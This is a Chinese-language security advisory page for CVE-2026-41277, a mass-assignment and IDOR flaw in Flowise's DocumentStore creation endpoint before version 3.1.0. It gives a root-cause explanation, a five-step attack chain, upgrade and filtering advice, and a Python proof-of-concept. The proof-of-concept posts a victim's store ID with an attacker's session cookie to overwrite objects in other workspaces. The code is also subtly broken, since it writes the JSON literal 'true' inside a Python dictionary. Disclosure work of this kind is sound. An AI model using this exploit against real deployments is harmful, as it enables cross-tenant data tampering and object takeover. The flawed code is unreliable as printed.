IPBUF安全漏洞报告
English
CVE-2026-41277 CVSS 8.8 高危

CVE-2026-41277 Flowise批量赋值漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41277
漏洞类型
批量赋值/IDOR
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Flowise

相关标签

Mass AssignmentIDORFlowiseAuthorization BypassCVE-2026-41277

漏洞概述

Flowise是一个用于构建定制化大语言模型流程的拖拽式用户界面。在3.1.0版本之前,其DocumentStore创建端点存在批量赋值漏洞。经过身份认证的用户可以通过控制DocumentStore实体的主键和内部状态字段来利用此漏洞。由于服务端使用客户端提供的主键调用repository.save(),导致POST创建端点表现为隐式的UPSERT操作。这允许攻击者覆盖现有的DocumentStore对象。在多工作空间或多租户部署环境下,该漏洞可导致跨工作空间对象接管以及破坏的对象级授权(IDOR),使攻击者能够重新分配或修改属于其他工作空间的DocumentStore对象。该问题已在3.1.0版本中修复。

技术细节

该漏洞的根本原因在于应用程序缺乏对用户输入数据的严格属性过滤,存在Mass Assignment缺陷。在受影响的Flowise版本中,当用户调用DocumentStore创建接口时,后端直接将客户端提交的JSON数据绑定到实体对象并持久化。关键在于,系统允许客户端指定实体的主键(id)。由于ORM框架(如TypeORM或Mongoose)的save()方法在检测到主键已存在时会执行更新而非插入操作,攻击者可以利用这一机制进行隐式更新。攻击者只需登录系统,获取一个低权限账号,然后构造包含特定目标ID的恶意POST请求发送给创建接口。系统会误以为这是在创建新对象,但实际会覆盖ID对应的现有对象。这绕过了常规的修改权限检查,导致跨租户数据篡改和对象接管,严重破坏了多租户环境下的数据隔离性。

攻击链分析

STEP 1
侦察
攻击者识别出目标Flowise实例,并确认其版本低于3.1.0。
STEP 2
获取凭证
攻击者注册一个普通用户账号或通过其他方式获取低权限的已认证会话。
STEP 3
构造恶意请求
攻击者构造一个POST请求到DocumentStore创建端点,在JSON body中指定目标对象的ID作为主键,并设置恶意的配置参数。
STEP 4
利用漏洞
发送请求。后端由于存在批量赋值漏洞,将请求视为创建操作,但因主键冲突执行了UPDATE(UPSERT)操作。
STEP 5
实现接管
原有DocumentStore对象被覆盖,攻击者获得对该对象(可能属于其他工作空间)的控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (Example, replace with actual endpoint) target_url = "https://target-flowise-instance/api/v1/document-stores" # Attacker's authenticated session cookie session_cookie = { "connect.sid": "attacker_session_cookie_value" } # Malicious payload attempting to overwrite a DocumentStore with ID 'target-store-id' # The 'id' field allows the attacker to control the primary key payload = { "id": "target-store-id", # ID of the victim's DocumentStore "name": "Hijacked Store", "description": "This store has been overwritten by an attacker", "internalState": { "maliciousConfig": true } } try: response = requests.post( target_url, headers={"Content-Type": "application/json"}, cookies=session_cookie, data=json.dumps(payload) ) if response.status_code == 200 or response.status_code == 201: print("[+] Success! The DocumentStore has likely been overwritten.") print("[+] Response:", response.text) else: print("[-] Failed. Status code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Flowise < 3.1.0

防御指南

临时缓解措施
建议立即将Flowise升级到3.1.0版本以彻底修复此漏洞。如果暂时无法升级,应在API网关层面实施严格的参数过滤,拦截包含'id'字段的POST请求,并限制对DocumentStore接口的访问频率,以降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表